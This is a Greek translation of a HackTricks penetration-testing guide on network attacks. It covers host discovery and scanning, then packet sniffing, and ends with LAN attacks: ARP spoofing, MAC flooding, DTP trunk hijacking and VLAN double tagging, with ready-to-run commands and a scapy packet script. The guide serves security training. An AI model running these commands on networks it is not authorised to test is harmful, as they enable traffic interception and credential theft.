hacktricks/generic-methodologies-and-resources/pentesting-network
2024-05-02 15:56:18 +00:00
..
dhcpv6.md Translated to Greek 2024-02-10 22:40:18 +00:00
eigrp-attacks.md Translated to Greek 2024-02-10 22:40:18 +00:00
glbp-and-hsrp-attacks.md Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-05-02 15:56:18 +00:00
ids-evasion.md Translated to Greek 2024-02-10 22:40:18 +00:00
lateral-vlan-segmentation-bypass.md Translated to Greek 2024-02-10 22:40:18 +00:00
network-protocols-explained-esp.md Translated to Greek 2024-02-10 22:40:18 +00:00
nmap-summary-esp.md Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-05-02 15:56:18 +00:00
pentesting-ipv6.md Translated to Greek 2024-02-10 22:40:18 +00:00
README.md Translated to Greek 2024-02-10 22:40:18 +00:00
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md Translated to Greek 2024-02-10 22:40:18 +00:00
spoofing-ssdp-and-upnp-devices.md Translated to Greek 2024-02-10 22:40:18 +00:00

Ελεγκτική Δοκιμή Δικτύου

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:


Συμβουλή για bug bounty: εγγραφείτε στο Intigriti, μια προηγμένη πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς! Γίνετε μέλος μας στο https://go.intigriti.com/hacktricks σήμερα και αρχίστε να κερδίζετε αμοιβές έως και $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Ανακάλυψη κόμβων από το εξωτερικό

Αυτή θα είναι μια σύντομη ενότητα για το πώς να βρείτε IP που ανταποκρίνονται από το Διαδίκτυο.
Σε αυτήν την κατάσταση έχετε μια εμβέλεια IP (ίσως ακόμα και πολλές εμβέλειες) και απλά θέλετε να βρείτε ποια IP ανταποκρίνονται.

ICMP

Αυτός είναι ο ευκολότερος και γρηγορότερος τρόπος για να ανακαλύψετε αν ένας κόμβος είναι ενεργός ή όχι.
Μπορείτε να δοκιμάσετε να στείλετε μερικά πακέτα ICMP και να περιμένετε απαντήσεις. Ο ευκολότερος τρόπος είναι να στείλετε ένα αίτημα echo και να περιμένετε την απάντηση. Μπορείτε να το κάνετε αυτό χρησιμοποιώντας την απλή εντολή ping ή την εντολή fping για εμβέλειες.
Μπορείτε επίσης να χρησιμοποιήσετε το nmap για να στείλετε άλλους τύπους πακέτων ICMP (αυτό θα αποφύγει φίλτρα για τα συνηθισμένα αιτήματα-απαντήσεις ICMP).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

Ανακάλυψη Θύρας TCP

Είναι πολύ συνηθισμένο να βρείτε ότι όλα τα είδη πακέτων ICMP φιλτράρονται. Στη συνέχεια, το μόνο που μπορείτε να κάνετε για να ελέγξετε αν ένας κεντρικός υπολογιστής είναι ενεργός είναι να προσπαθήσετε να βρείτε ανοιχτές θύρες. Κάθε κεντρικός υπολογιστής έχει 65535 θύρες, οπότε, αν έχετε ένα "μεγάλο" εύρος, δεν μπορείτε να ελέγξετε αν κάθε θύρα κάθε κεντρικού υπολογιστή είναι ανοιχτή ή όχι, αυτό θα πάρει πάρα πολύ χρόνο.
Στη συνέχεια, αυτό που χρειάζεστε είναι ένας γρήγορος σαρωτής θυρών (masscan) και μια λίστα με τις πιο συχνά χρησιμοποιούμενες θύρες:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Μπορείτε επίσης να εκτελέσετε αυτό το βήμα με το nmap, αλλά είναι πιο αργό και κάποιες φορές έχει προβλήματα στον εντοπισμό των ενεργών υπολογιστών.

Ανακάλυψη Θύρας HTTP

Αυτή είναι απλά μια ανακάλυψη θύρας TCP που είναι χρήσιμη όταν θέλετε να επικεντρωθείτε στην ανακάλυψη υπηρεσιών HTTP.

masscan -p80,443,8000-8100,8443 199.66.11.0/24

Ανακάλυψη θύρας UDP

Μπορείτε επίσης να δοκιμάσετε να ελέγξετε αν υπάρχει κάποια ανοιχτή θύρα UDP για να αποφασίσετε αν πρέπει να δώσετε περισσότερη προσοχή σε ένα χώρο φιλοξενίας. Καθώς οι υπηρεσίες UDP συνήθως δεν αποκρίνονται με κανένα δεδομένο σε ένα κανονικό άδειο πακέτο ερεύνας UDP, είναι δύσκολο να πούμε αν μια θύρα είναι φιλτραρισμένη ή ανοιχτή. Ο ευκολότερος τρόπος να αποφασίσετε αυτό είναι να στείλετε ένα πακέτο που σχετίζεται με την εκτελούμενη υπηρεσία, και καθώς δεν γνωρίζετε ποια υπηρεσία εκτελείται, θα πρέπει να δοκιμάσετε την πιο πιθανή βάσει του αριθμού θύρας:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Η γραμμή nmap που προτείνεται παραπάνω θα ελέγξει τις 1000 κορυφαίες θύρες UDP σε κάθε κόμβο μέσα στο εύρος /24, αλλά αυτό μόνο θα πάρει >20 λεπτά. Αν χρειάζεστε ταχύτερα αποτελέσματα, μπορείτε να χρησιμοποιήσετε το udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24. Αυτό θα στείλει αυτές τις UDP αιτήσεις στην αναμενόμενη θύρα τους (για ένα εύρος /24 αυτό θα πάρει μόνο 1 λεπτό): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

Ανακάλυψη Θύρας SCTP

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Έλεγχος ασφάλειας Wifi

Εδώ μπορείτε να βρείτε έναν ωραίο οδηγό για όλες τις γνωστές επιθέσεις σε Wifi κατά την ώρα της συγγραφής:

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

Ανακάλυψη υπολογιστών από το εσωτερικό

Εάν βρίσκεστε μέσα στο δίκτυο, μία από τις πρώτες πράξεις που θα θέλετε να κάνετε είναι να ανακαλύψετε άλλους υπολογιστές. Ανάλογα με το πόσο θόρυβο μπορείτε/θέλετε να προκαλέσετε, μπορούν να γίνουν διάφορες ενέργειες:

Παθητική

Μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να ανακαλύψετε παθητικά υπολογιστές μέσα σε ένα συνδεδεμένο δίκτυο:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Ενεργός

Να σημειωθεί ότι οι τεχνικές που σχολιάζονται στο Ανακάλυψη των κόμβων από το εξωτερικό (Ανακάλυψη Θύρας TCP/HTTP/UDP/SCTP) μπορούν επίσης να εφαρμοστούν εδώ.
Ωστόσο, καθώς βρίσκεστε στο ίδιο δίκτυο με τους άλλους κόμβους, μπορείτε να κάνετε περισσότερα πράγματα:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Ενεργό ICMP

Σημειώστε ότι οι τεχνικές που σχολιάζονται στο Ανακάλυψη των κόμβων από το εξωτερικό (ICMP) μπορούν να εφαρμοστούν και εδώ.
Ωστόσο, καθώς βρίσκεστε στο ίδιο δίκτυο με τους άλλους κόμβους, μπορείτε να κάνετε περισσότερα πράγματα:

  • Εάν κάνετε ping σε μια διεύθυνση εκπομπής υποδικτύου, το ping θα φτάσει σε κάθε κόμβο και αυτοί μπορεί να απαντήσουν σε εσάς: ping -b 10.10.5.255
  • Κάνοντας ping στη διεύθυνση εκπομπής του δικτύου, μπορείτε ακόμα να βρείτε κόμβους μέσα σε άλλα υποδίκτυα: ping -b 255.255.255.255
  • Χρησιμοποιήστε τις σημαίες -PE, -PP, -PM του nmap για να πραγματοποιήσετε ανακάλυψη κόμβων αποστέλλοντας αντίστοιχα αιτήματα ICMPv4 echo, timestamp και subnet mask: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Το Wake On Lan χρησιμοποιείται για να ενεργοποιήσει υπολογιστές μέσω ενός δικτυακού μηνύματος. Το μαγικό πακέτο που χρησιμοποιείται για να ενεργοποιηθεί ο υπολογιστής είναι απλώς ένα πακέτο όπου παρέχεται ένας MAC Dst και στη συνέχεια επαναλαμβάνεται 16 φορές μέσα στο ίδιο πακέτο.
Συνήθως, αυτού του είδους τα πακέτα στέλνονται με ένα ethernet 0x0842 ή σε ένα πακέτο UDP στη θύρα 9.
Εάν δεν παρέχεται κανένα [MAC], το πακέτο στέλνεται στο broadcast ethernet (και το επαναλαμβανόμενο MAC θα είναι αυτό που αποστέλλεται).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Σάρωση Υπολογιστών

Αφού έχετε ανακαλύψει όλες τις διευθύνσεις IP (εξωτερικές ή εσωτερικές) που θέλετε να σαρώσετε λεπτομερώς, μπορούν να γίνουν διάφορες ενέργειες.

TCP

  • Ανοιχτή θύρα: SYN --> SYN/ACK --> RST
  • Κλειστή θύρα: SYN --> RST/ACK
  • Φιλτραρισμένη θύρα: SYN --> [ΚΑΜΙΑ ΑΠΑΝΤΗΣΗ]
  • Φιλτραρισμένη θύρα: SYN --> μήνυμα ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Υπάρχουν 2 επιλογές για να σαρώσετε ένα θύρα UDP:

  • Στείλτε ένα πακέτο UDP και ελέγξτε για την απόκριση ICMP unreachable αν η θύρα είναι κλειστή (σε πολλές περιπτώσεις το ICMP θα είναι φιλτραρισμένο, οπότε δεν θα λάβετε καμία πληροφορία αν η θύρα είναι ανοιχτή ή κλειστή).
  • Στείλτε ένα μορφοποιημένο datagram για να προκαλέσετε απόκριση από ένα υπηρεσία (π.χ., DNS, DHCP, TFTP και άλλες, όπως αναφέρονται στο nmap-payloads). Αν λάβετε μια απόκριση, τότε η θύρα είναι ανοιχτή.

Το Nmap θα συνδυάσει και τις δύο επιλογές χρησιμοποιώντας το "-sV" (οι σάρωσεις UDP είναι πολύ αργές), αλλά πρέπει να σημειωθεί ότι οι σάρωσεις UDP είναι πιο αργές από τις σάρωσεις TCP:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

Σάρωση SCTP

Το SCTP (Stream Control Transmission Protocol) σχεδιάστηκε για να χρησιμοποιείται δίπλα στα πρωτόκολλα TCP (Transmission Control Protocol) και UDP (User Datagram Protocol). Ο κύριος σκοπός του είναι να διευκολύνει τη μεταφορά δεδομένων τηλεφωνίας σε δίκτυα IP, αντικατοπτρίζοντας πολλά από τα χαρακτηριστικά αξιοπιστίας που βρίσκονται στο Signaling System 7 (SS7). Το SCTP είναι ένας βασικός συστατικός του οικογενείας πρωτοκόλλων SIGTRAN, το οποίο στοχεύει στη μεταφορά σημάτων SS7 μέσω δικτύων IP.

Η υποστήριξη για το SCTP παρέχεται από διάφορα λειτουργικά συστήματα, όπως το IBM AIX, το Oracle Solaris, το HP-UX, το Linux, το Cisco IOS και το VxWorks, προδεικνύοντας την ευρεία αποδοχή και χρησιμότητά του στον τομέα των τηλεπικοινωνιών και των δικτύων.

Το nmap προσφέρει δύο διαφορετικές σαρώσεις για το SCTP: -sY και -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Αποφυγή IDS και IPS

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Περισσότερες επιλογές nmap

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Αποκάλυψη εσωτερικών διευθύνσεων IP

Κατά καιρούς, λανθασμένα ρυθμισμένοι δρομολογητές, τείχη προστασίας και δικτυακές συσκευές απαντούν σε δοκιμές δικτύου χρησιμοποιώντας μη δημόσιες διευθύνσεις προέλευσης. Το tcpdump μπορεί να χρησιμοποιηθεί για την αναγνώριση πακέτων που λαμβάνονται από ιδιωτικές διευθύνσεις κατά τη διάρκεια των δοκιμών. Ειδικότερα, στο Kali Linux, τα πακέτα μπορούν να καταγραφούν στη διεπαφή eth2, η οποία είναι προσβάσιμη από το δημόσιο Internet. Σημειώνεται ότι εάν η διάταξή σας βρίσκεται πίσω από έναν Μεταφραστή Διευθύνσεων (NAT) ή ένα τείχος προστασίας, τέτοια πακέτα πιθανόν να φιλτραρίζονται.

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Καταγραφή (Sniffing)

Με την καταγραφή μπορείτε να μάθετε λεπτομέρειες για τις διευθύνσεις IP, το μέγεθος των υποδικτύων, τις διευθύνσεις MAC και τα ονόματα των κεντρικών υπολογιστών εξετάζοντας τα καταγεγραμμένα πλαίσια και πακέτα. Εάν το δίκτυο έχει κακή ρύθμιση ή η υποδομή του δικτύου είναι υπερφορτωμένη, οι επιτιθέμενοι μπορούν να καταγράψουν ευαίσθητο υλικό μέσω παθητικής καταγραφής δικτύου.

Εάν ένα δίκτυο Ethernet με διακόπτη έχει ρυθμιστεί σωστά, θα βλέπετε μόνο εκπομπές πλαισίων και υλικό που προορίζεται για τη διεύθυνση MAC σας.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Μπορεί κανείς, επίσης, να καταγράψει πακέτα από ένα απομακρυσμένο μηχάνημα μέσω μιας συνεδρίας SSH με το Wireshark ως γραφικό περιβάλλον σε πραγματικό χρόνο.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

Το Bettercap είναι ένα ισχυρό εργαλείο για τον έλεγχο και την εκμετάλλευση δικτύων. Παρέχει μια πληθώρα λειτουργιών για την παρακολούθηση και την επίθεση δικτύων, καθώς και για την ανάλυση της ασφάλειας των δικτύων.

Οι βασικές λειτουργίες του Bettercap περιλαμβάνουν την παρακολούθηση της κίνησης δικτύου, την ανάλυση των πακέτων, την αποκάλυψη ευπάθειών, την εκτέλεση επιθέσεων MITM (Man-in-the-Middle) και την αποκάλυψη διαπιστευτηρίων.

Με το Bettercap, μπορείτε να παρακολουθείτε την κίνηση δικτύου σε πραγματικό χρόνο, να αναλύετε τα πακέτα για να εντοπίσετε ευπάθειες και να εκτελέσετε επιθέσεις MITM για να παρακάμψετε την ασφάλεια του δικτύου. Επίσης, μπορείτε να χρησιμοποιήσετε το Bettercap για να αποκτήσετε πρόσβαση σε διαπιστευτήρια χρηστών και κωδικούς πρόσβασης.

Το Bettercap είναι ένα εξαιρετικά χρήσιμο εργαλείο για τους επαγγελματίες της ασφάλειας που επιθυμούν να ελέγξουν και να εκμεταλλευτούν δίκτυα για ασφάλεια και επιθέσεις.

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Φυσικά.

Καταγραφή διαπιστευτηρίων

Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το https://github.com/lgandx/PCredz για να αναλύσετε διαπιστευτήρια από ένα αρχείο pcap ή ένα ζωντανό διεπαφή.

Επιθέσεις στο LAN

ARP spoofing

Η ARP Spoofing αποτελείται από την αποστολή ανεξόφλητων ARP απαντήσεων για να υποδείξει ότι η IP μιας μηχανής έχει τη MAC της συσκευής μας. Έπειτα, το θύμα θα αλλάξει τον πίνακα ARP και θα επικοινωνεί με τη μηχανή μας κάθε φορά που θέλει να επικοινωνήσει με την παραποιημένη IP.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

Ο Arpspoof είναι ένα εργαλείο που χρησιμοποιείται για να παραπλανήσει το πρωτόκολλο ARP (Address Resolution Protocol) σε μια τοπική δίκτυο. Με το Arpspoof, ο επιτιθέμενος μπορεί να ανακατευθύνει την κίνηση δεδομένων μεταξύ δύο ή περισσότερων υπολογιστών στο δίκτυο, παριστάνοντας την ταυτότητα ενός άλλου υπολογιστή.

Για να χρησιμοποιήσετε το Arpspoof, πρέπει να είστε συνδεδεμένοι στο ίδιο δίκτυο με τους στόχους που θέλετε να παραπλανήσετε. Ο επιτιθέμενος χρησιμοποιεί το Arpspoof για να αποστείλει πλαστές απαντήσεις ARP στους στόχους, προκαλώντας τους να πιστέψουν ότι ο επιτιθέμενος είναι ο πραγματικός προορισμός για την κίνηση δεδομένων.

Με το Arpspoof, ο επιτιθέμενος μπορεί να παρακολουθεί, να καταγράφει και να αλλοιώνει την κίνηση δεδομένων μεταξύ των στόχων, προκαλώντας πιθανώς προβλήματα στην επικοινωνία τους. Αυτό μπορεί να χρησιμοποιηθεί για να παρακολουθήσετε την κίνηση δεδομένων, να κλέψετε πληροφορίες ή ακόμα και να εκτελέσετε επιθέσεις Man-in-the-Middle.

Για να χρησιμοποιήσετε το Arpspoof, απλά εκτελέστε την εντολή arpspoof -i <interface> -t <target> <gateway> για να παραπλανήσετε έναν στόχο προς έναν προεπιλεγμένο πύλη δικτύου, ή arpspoof -i <interface> -t <target> -r <router> για να παραπλανήσετε έναν στόχο προς έναν συγκεκριμένο δρομολογητή.

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

Πλημμύρα MAC - Υπερχείλιση CAM

Υπερχείλισε τον πίνακα CAM του switch αποστέλλοντας πολλά πακέτα με διαφορετική διεύθυνση MAC προέλευσης. Όταν ο πίνακας CAM είναι γεμάτος, το switch αρχίζει να συμπεριφέρεται όπως ένας hub (εκπέμποντας όλη την κίνηση).

macof -i <interface>

Σε σύγχρονες συσκευές δικτύου αυτή η ευπάθεια έχει διορθωθεί.

Επιθέσεις 802.1Q VLAN / DTP

Δυναμικό Trunking

Το Dynamic Trunking Protocol (DTP) σχεδιάστηκε ως ένα πρωτόκολλο στρώματος συνδέσεων για τη διευκόλυνση ενός αυτόματου συστήματος για το trunking, επιτρέποντας στις συσκευές να επιλέγουν αυτόματα θύρες για τη λειτουργία trunk mode (Trunk) ή μη-λειτουργία trunk. Η χρήση του DTP συχνά θεωρείται ως ένδειξη μη βέλτιστου σχεδιασμού δικτύου, υπογραμμίζοντας τη σημασία της χειροκίνητης διαμόρφωσης των trunks μόνο όταν είναι απαραίτητο και της διασφάλισης της κατάλληλης τεκμηρίωσης.

Από προεπιλογή, οι θύρες του switch έχουν ρυθμιστεί να λειτουργούν σε λειτουργία Dynamic Auto, πράγμα που σημαίνει ότι είναι έτοιμες να ξεκινήσουν το trunking αν προκληθούν από ένα γειτονικό switch. Ένα πρόβλημα ασφαλείας προκύπτει όταν ένας pentester ή επιτιθέμενος συνδέεται στο switch και στέλνει ένα πλαίσιο DTP Desirable, που αναγκάζει τη θύρα να μπει σε λειτουργία trunk. Αυτή η ενέργεια επιτρέπει στον επιτιθέμενο να απαριθμήσει τα VLAN μέσω ανάλυσης πλαισίων STP και να παρακάμψει την τμηματοποίηση VLAN δημιουργώντας εικονικές διεπαφές.

Η παρουσία του DTP σε πολλά switch από προεπιλογή μπορεί να εκμεταλλευτεί από επιθέτους για να μιμηθούν τη συμπεριφορά ενός switch, αποκτώντας έτσι πρόσβαση σε κίνηση σε όλα τα VLAN. Το εργαλείο dtpscan.sh χρησιμοποιείται για την παρακολούθηση μιας διεπαφής, αποκαλύπτοντας εάν ένα switch βρίσκεται σε κατάσταση Default, Trunk, Dynamic, Auto ή Access - η τελευταία είναι η μόνη διαμόρφωση που είναι ανοσοποιημένη από επιθέσεις VLAN hopping. Αυτό το εργαλείο αξιολογεί την ευπάθεια του switch.

Εάν εντοπιστεί ευπάθεια στο δίκτυο, το εργαλείο Yersinia μπορεί να χρησιμοποιηθεί για να "ενεργοποιήσει το trunking" μέσω του πρωτοκόλλου DTP, επιτρέποντας την παρατήρηση πακέτων από όλα τα VLAN.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Για να απαριθμήσετε τα VLANs, είναι επίσης δυνατό να δημιουργήσετε το πλαίσιο DTP Desirable με το σενάριο DTPHijacking.py. Μην διακόψετε το σενάριο υπό καμία περίπτωση. Εισάγει το DTP Desirable κάθε τρεις δευτερόλεπτα. Τα δυναμικά δημιουργημένα κανάλια trunk στο switch ζουν μόνο για πέντε λεπτά. Μετά από πέντε λεπτά, το trunk απενεργοποιείται.

sudo python3 DTPHijacking.py --interface eth0

Θα ήθελα να επισημάνω ότι το Access/Desirable (0x03) υποδεικνύει ότι το πλαίσιο DTP είναι τύπου Desirable, το οποίο λέει στη θύρα να μεταβεί σε λειτουργία Trunk. Και το 802.1Q/802.1Q (0xa5) υποδεικνύει τον τύπο ενθυλάκωσης 802.1Q.

Αναλύοντας τα πλαίσια STP, μαθαίνουμε για την ύπαρξη των VLAN 30 και VLAN 60.

Επίθεση σε συγκεκριμένα VLAN

Αφού γνωρίζετε τις ταυτότητες VLAN και τις τιμές των IP, μπορείτε να ρυθμίσετε μια εικονική διεπαφή για να επιτεθείτε σε ένα συγκεκριμένο VLAN.
Αν δεν είναι διαθέσιμο το DHCP, τότε χρησιμοποιήστε την εντολή ifconfig για να ορίσετε μια στατική διεύθυνση IP.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Αυτόματος VLAN Hopper

Η συζητούμενη επίθεση του Δυναμικού Trunking και δημιουργίας εικονικών διεπαφών και ανακάλυψης υπολογιστών μέσα σε άλλα VLANs εκτελείται αυτόματα από το εργαλείο: https://github.com/nccgroup/vlan-hopping---frogger

Διπλή Επισήμανση

Αν ένας επιτιθέμενος γνωρίζει την τιμή του MAC, IP και VLAN ID του θύματος, μπορεί να προσπαθήσει να επισημάνει διπλά ένα πλαίσιο με τον σχεδιασμένο VLAN του και το VLAN του θύματος και να στείλει ένα πακέτο. Καθώς το θύμα δεν θα μπορεί να συνδεθεί πίσω με τον επιτιθέμενο, η καλύτερη επιλογή για τον επιτιθέμενο είναι η επικοινωνία μέσω UDP σε πρωτόκολλα που μπορούν να εκτελέσουν κάποιες ενδιαφέρουσες ενέργειες (όπως το SNMP).

Μια άλλη επιλογή για τον επιτιθέμενο είναι να εκτελέσει ένα σάρωση θυρών TCP παραποιώντας μια IP που ελέγχεται από τον επιτιθέμενο και είναι προσβάσιμη από το θύμα (πιθανώς μέσω διαδικτύου). Στη συνέχεια, ο επιτιθέμενος μπορεί να κατακρατήσει στον δεύτερο υπολογιστή που του ανήκει αν λάβει κάποια πακέτα από το θύμα.

Για να εκτελέσετε αυτήν την επίθεση, μπορείτε να χρησιμοποιήσετε το scapy: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Διάβασμα Παράκαμψης Τοπολογίας VLAN

Εάν έχετε πρόσβαση σε ένα switch στο οποίο είστε απευθείας συνδεδεμένοι, έχετε τη δυνατότητα να παρακάμψετε την τοπολογία VLAN εντός του δικτύου. Απλά αλλάξτε τη θύρα σε λειτουργία trunk (επίσης γνωστή ως trunk), δημιουργήστε εικονικές διεπαφές με τα αναγνωριστικά των επιθυμητών VLAN και ρυθμίστε μια διεύθυνση IP. Μπορείτε να δοκιμάσετε να ζητήσετε τη διεύθυνση δυναμικά (DHCP) ή να τη ρυθμίσετε στατικά. Αυτό εξαρτάται από την περίπτωση.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Διάβασμα Παράκαμψης Ιδιωτικής VLAN Επιπέδου 3

Σε ορισμένα περιβάλλοντα, όπως σε δίκτυα ασύρματης πρόσβασης για επισκέπτες, εφαρμόζονται ρυθμίσεις απομόνωσης θύρας (επίσης γνωστές ως ιδιωτική VLAN) για να αποτραπεί η απευθείας επικοινωνία των πελατών που είναι συνδεδεμένοι σε ένα σημείο πρόσβασης ασύρματου δικτύου μεταξύ τους. Ωστόσο, έχει εντοπιστεί μια τεχνική που μπορεί να παρακάμψει αυτά τα μέτρα απομόνωσης. Αυτή η τεχνική εκμεταλλεύεται είτε την έλλειψη των ACL δικτύου είτε την εσφαλμένη τους ρύθμιση, επιτρέποντας σε πακέτα IP να δρομολογηθούν μέσω ενός δρομολογητή για να φτάσουν σε έναν άλλο πελάτη στο ίδιο δίκτυο.

Η επίθεση πραγματοποιείται δημιουργώντας ένα πακέτο που περιέχει τη διεύθυνση IP του προορισμού πελάτη αλλά με τη διεύθυνση MAC του δρομολογητή. Αυτό προκαλεί τον δρομολογητή να προωθήσει λανθασμένα το πακέτο στον προορισμό πελάτη. Αυτή η προσέγγιση είναι παρόμοια με αυτή που χρησιμοποιείται στις επιθέσεις με διπλή επισήμανση, όπου η δυνατότητα να ελέγχετε έναν κεντρικό υπολογιστή προσβάσιμο από το θύμα χρησιμοποιείται για να εκμεταλλευτεί την αδυναμία ασφάλειας.

Βασικά Βήματα της Επίθεσης:

  1. Δημιουργία Πακέτου: Δημιουργείται ένα πακέτο ειδικά σχεδιασμένο για να περιλαμβάνει τη διεύθυνση IP του προορισμού πελάτη αλλά με τη διεύθυνση MAC του δρομολογητή.
  2. Εκμετάλλευση Συμπεριφοράς Δρομολογητή: Το δημιουργημένο πακέτο αποστέλλεται στον δρομολογητή, ο οποίος, λόγω της ρύθμισης, ανακατευθύνει το πακέτο στον προορισμό πελάτη, παρακάμπτοντας την απομόνωση που παρέχεται από τις ρυθμίσεις ιδιωτικής VLAN.

Επιθέσεις VTP

